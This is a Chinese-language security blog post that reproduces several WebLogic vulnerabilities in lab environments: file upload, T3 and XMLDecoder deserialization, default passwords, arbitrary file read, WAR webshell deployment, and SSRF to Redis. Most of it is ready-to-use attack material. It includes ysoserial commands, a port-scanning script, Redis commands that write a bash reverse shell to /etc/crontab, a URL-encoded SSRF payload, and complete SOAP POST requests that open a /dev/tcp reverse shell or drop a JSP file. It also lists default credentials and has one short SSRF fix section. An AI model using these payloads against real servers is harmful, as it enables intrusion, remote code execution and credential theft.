Weblogic多个漏洞复现 – 作者:DeceaseWolf

WebLogic两处任意文件上传漏洞（CVE-2018-2894）

涉及版本：
version：10.3.6.0，12.1.3.0，12.2.1.2，12.2.1.3

漏洞地址

WebLogic管理端未授权的两个页面存在任意上传getshell漏洞，可直接获取权限。

/ws_utc/config.do
/ws_utc/begin.do

漏洞复现

1、访问/ws_utc/config.do，修改当前的工作目录为其他目录。

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

2、点击左侧”安全”菜单，添加Keystore，设置默认名字和密码。

3、检查时间戳

4、上传后的shell位于工作台配置的目录下的/config/keystore中，文件名格式采用了POST请求中URL地址上携带的参数timestamp的值加上下划线拼接起来的文件名。

 

Weblogic T3反序列化漏洞（CVE-2018-2628）

漏洞描述

CVE-2018-2628漏洞是2018年Weblogic爆出的基于T3(丰富套接字)协议的反系列化高危漏洞，且在打上官方补丁Patch Set Update 180417补丁后仍能检测到只是利用方法有了一些改变漏洞编号改为了CVE-2018-3245，其基本原理其实都是利用了T3协议的缺陷实现了Java虚拟机的RMI：远程方法调用(Remote Method Invocation)，能够在本地虚拟机上调用远端代码。

漏洞版本：

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3

基本原理：

序列化：简单来说把对象转换为字节流过程(通过ObjectOutputStream类的writeObject)

反序列化：就是把字节流恢复为对象的过程(通过ObjectInputStream类的readObject()方法)

RMI：远程方法调用(Remote Method Invocation)。简单来说，除了该对象本身所在的虚拟机，其他虚拟机也可以调用该对象的方法。

JRMP:java远程消息交换协议JRMP（Java Remote Messaging Protocol）

打个比喻就是相当于你在网上买个玩具房子，他不可能直接快递给你邮个房子，先把房子拆开邮走(序列化)，然后收到时在拼装成一个房子(反序列化)。在JAVA中，对象的序列化和反序列化被广泛的应用到RMI（远程方法调用）及网络传输中。

漏洞复现

1、快速检测，可利用nmap –script=weblogic-t3-infi.nse或者其他检测工具。
如果目标开启了T3协议就会在扫描中显示。

2、使用CVE-2018-2628检测工具进行检测

3、确认目标存在Weblogic T3反序列化后，在Ubuntu主机上运行JRMPListerner并开启端口监听。使得触发漏洞后Weblogic所在服务器可以远程调用执行特定的程序。在Ubuntu主机上运行ysoserial-0.1-cve-2018-2628-all.jar。

4、命令执行的格式：

java -cp ysoserial-\<version>-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener\<listen port>\ <gadget class>\<command>

在Ubuntu主机上监听一个端口，这样目的主机上的Weblogic进行远程方法调用时，可以连接到Ubuntu主机。<command>是执行的命令，windows服务器的话运行calc.exe是打开计算器程序。如果是Linux服务器可直接执行控制台命令。

当看到 *Opening JRMP listener on 22801 输出时,说明运行成功并且端口22801开启处于监听状态。

在Ubuntu主机上新打开一个终端，同样使用ysoserial-0.1-cve-2018-2628-all.jar工具生成一个payload字符串，因为要实现Weblogic远程调用Ubuntu主机上的方法。就需要知道远程方法所在的主机地址和端口号。所以在上一步要记录Ubuntu主机的信息。

命令执行的格式：

java -jar ysoserial-\<version>-cve-2018-2628-all.jar JRMPClient2 \<JRMPListener IP>:\<JRMPListener Port> | xxd -p | tr -d $'\n' && echo

将Payload字符串复制到weblogic_poc.py文件中替换PAYLOAD。

 
更改文件末尾的dip变量的值为目标服务器（Weblogic所在服务器）的ip地址192.168.10.129。当然端口也可以自定义。

在Win10主机上执行weblogic_poc.py开始漏洞利用。漏洞利用成功后程序会输出反序列化程序发送的数据包信息。

另一边观察Ubuntu主机发现触发漏洞后，目标服务器上的weblogic中的JVM虚拟机远程调用了监听程序中的方法向目标服务器返回了payload。

 

 

WebLogic Weak Password复现

环境

基于vulhub的weblogic弱口令漏洞和任意文件读取漏洞

弱口令

本环境存在弱口令

用户名：weblogic
密码：Oracle@123

weblogic常见的弱口令组合

1.  Oracle - WebLogic
User ID system
Password password


2.  Oracle - WebLogic
User ID weblogic
Password weblogic


3.  Oracle - WebLogic
User ID weblogic
Password weblogic


4.  Oracle - WebLogic Process Integrator
User ID admin
Password security


5.  Oracle - WebLogic Process Integrator
User ID joe
Password password


6.  Oracle - WebLogic Process Integrator
User ID mary
Password password


7.  Oracle - WebLogic Process Integrator
User ID system
Password security


8.  Oracle - WebLogic Process Integrator
User ID wlcsystem
Password wlcsystem


9.  Oracle - WebLogic Process Integrator
User ID wlpisystem
Password wlpisystem

获取到账号和密码之后，我们可以进入到后台去上传war的web应用程序和木马获得权限

任意文件读取

路径

/hello/file.jsp?path=/etc/passwd

访问路径，可下载读取任意文件

接下来如何更深入的利用任意文件读取。

weblogic密码使用AES（老版本3DES）加密，对称加密可解密，只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下，名为SerializedSystemIni.dat和config.xml。

SerializedSystemIni.dat是一个二进制文件，所以一定要用burpsuite来读取，用浏览器直接下载可能引入一些干扰字符。

在burp里选中读取到的那一串乱码，这就是密钥，右键copy to file就可以保存成一个文件：

/hello/file.jsp?path=security/SerializedSystemIni.dat

config.xml是base_domain的全局配置文件，所以乱七八糟的内容比较多，找到其中的的值，即为加密后的管理员密码，不要找错了：

/hello/file.jsp?path=config/config.xml

解密可以参考重剑无锋大佬文章。

https://www.freebuf.com/articles/web/220147.html

后台上传shell

war简介

war是一个可以直接运行的web模块，通常用于网站，打成包部署到容器中。war包放置到web目录下之后，可以自动解压，就相当于发布了。
简单来说，war包是JavaWeb程序打的包，war包里面包括写的代码编译成的class文件，依赖的包，配置文件，所有的网站页面，包括html，jsp等等。一个war包可以理解为是一个web项目，里面是项目的所有东西。

war打包

linux下把文件打包成war的压缩包，命令如下

 

jar -cvf blog.war *

查看example.war

jar -tf blog.war

也可以先把文件压缩成zip，再改后缀名为war

部署war文件

使用刚刚获取到的密码进行登录。

进行安装war包

选择上载文件

其他均可默认

访问

http://172.23.0.2:7001/shell/shell.jsp

 

 

 

Weblogic-SSRF漏洞复现

服务端请求伪造（Server-Side Request Forgery）是指Web服务提供从用户指定的URL读取数据并展示功能又未对用户输入的URL进行过滤，导致攻击者可借助服务端实现访问其本无权访问的URL。

攻击者无权访问的URL主要是内网，而对于不是Web服务的其他端口反回的一般是端口对应的服务的banner信息，所以SSRF的一大利用是探测内网端口开放信息。（所以SSRF归类为信息泄漏类型）

漏洞出现位置与解决方法：

Weblogic服务端请求伪造漏洞出现在uddi组件（所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞），更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。

所以修复的直接方法是将SearchPublicRegistries.jsp直接删除就好了

我们这里采用的是改后辍的方式，修复步骤如下：

1.将weblogic安装目录下的wlserver_10.3/server/lib/uddiexplorer.war做好备份

2.将weblogic安装目录下的server/lib/uddiexplorer.war下载

3.用winrar等工具打开uddiexplorer.war

4.将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx

5.保存后上传回服务端替换原先的uddiexplorer.war

6.对于多台主机组成的集群，针对每台主机都要做这样的操作

7.由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic（即停应用--停server--停控制台--启控制台--启server--启应用）

漏洞复现

1、访问地址，查看是否存在

http://172.21.0.3:7001/uddiexplorer/

2、SSRF漏洞存在于/uddiexplorer/SearchPublicRegistries.jsp

3、使用Burpsuite测试，因为访问的是内网IP，按道理来说应该是拒绝访问的。

4、访问存在的端口时，比如http://127.0.0.1，可访问的端口将回显错误，一般返回内容为status code，如果访问的是非http协议的话，则返回did not have a valid SOAP content-type

5、访问不存在的端口时，将返回could not connect HTTP server

6、可以通过页面返回错误不同，探测内网端口的开放状态，加以利用。

注入HTTP头，利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点，其虽然是一个“GET”请求，但是我们可以通过传入%0a%0d来注入换行符，

而某些服务（如redis）是通过换行符来分隔每条命令，也就说我们可以通过该SSRF攻击内网中的redis服务器。

首先，通过ssrf探测内网中的redis服务器，应为这个漏洞是用docker环境搭建的，所以redis服务器的内网即是

docker的网段（docker环境的网段一般是172.*）：

使用脚本进行探测：

import thread
import time
import re
import requests


def ite_ip(ip):
    for i in range(1, 256):
        final_ip = '{ip}.{i}'.format(ip=ip, i=i)
        print final_ip
        thread.start_new_thread(scan, (final_ip,))
        time.sleep(3)

def scan(final_ip):
    ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
    for port in ports:
        vul_url = 'http://172.21.0.3:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
        try:
            #print vul_url
            r = requests.get(vul_url, timeout=15, verify=False)
            result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
            result2 = re.findall('but could not connect', r.content)
            result3 = re.findall('No route to host', r.content)
            if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
                print '[!]'+final_ip + ':' + port
        except Exception, e:
            pass


if __name__ == '__main__':
    ip = "172.21.0"
    if ip:
        print ip
        ite_ip(ip)
    else:
        print "no ip"

 

运行后得到：

发现存在6379端口，开放redis服务。

通过发送三条redis命令，将反弹shell脚本写入/etc/crontab：

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

将三条命令通过GET方式注入，不过需要将命令进行URL编码。(注意：换行符是”\r\n”,也就是”%0D%0A”)

 

%74%65%73%74%0d%0a%0d%0a%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%32%37%2e%31%2e%31%35%2f%32%31%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%0d%0a%73%61%76%65%0d%0a%0d%0a%61%61%61

把构造好的数据包通过burp继续传输，将URL编码后的字符串放在ssrf的域名后

使用nc -lvnp 21进行监听，反弹shell。

可利用的cron：

/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下，效果和crontab相同，格式也要和/etc/crontab相同。漏洞利用这个目录，可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件

 

WebLogic XMLDecoder反序列化漏洞（CVE-2017-10271）

漏洞描述：

WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞，可以构造请求对运行WebLogic中间件的主机进行攻击。

受影响WebLogic版本：

10.3.6.0.0，12.1.3.0.0，12.2.1.1.0，12.2.1.2.0

环境搭建

使用vulhub项目

获取docker

实验过程

1、访问地址

http://192.168.137.130:7001/

2、判断是否存在漏洞

http://192.168.137.130:7001/wls-wsat/CoordinatorPortType11

若存在图中所示，即说明可能存在。

3、使用nc监听端口，构造POST数据包进行测试，反弹shell。

nc -l -p 21

发送数据包(其中反弹shell的语句，需要进行编码，否则解析XML时将出现格式错误)

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.137.130/21 0&gt;&amp;1</string> 
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

成功反弹shell，获取root权限

4、写入一句话木马

构造POST数据包

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: you-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> 
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

访问test.jsp

http://192.168.137.130:7001/bea_wls_internal/test.jsp

来源：freebuf.com 2020-07-21 09:35:53 by: DeceaseWolf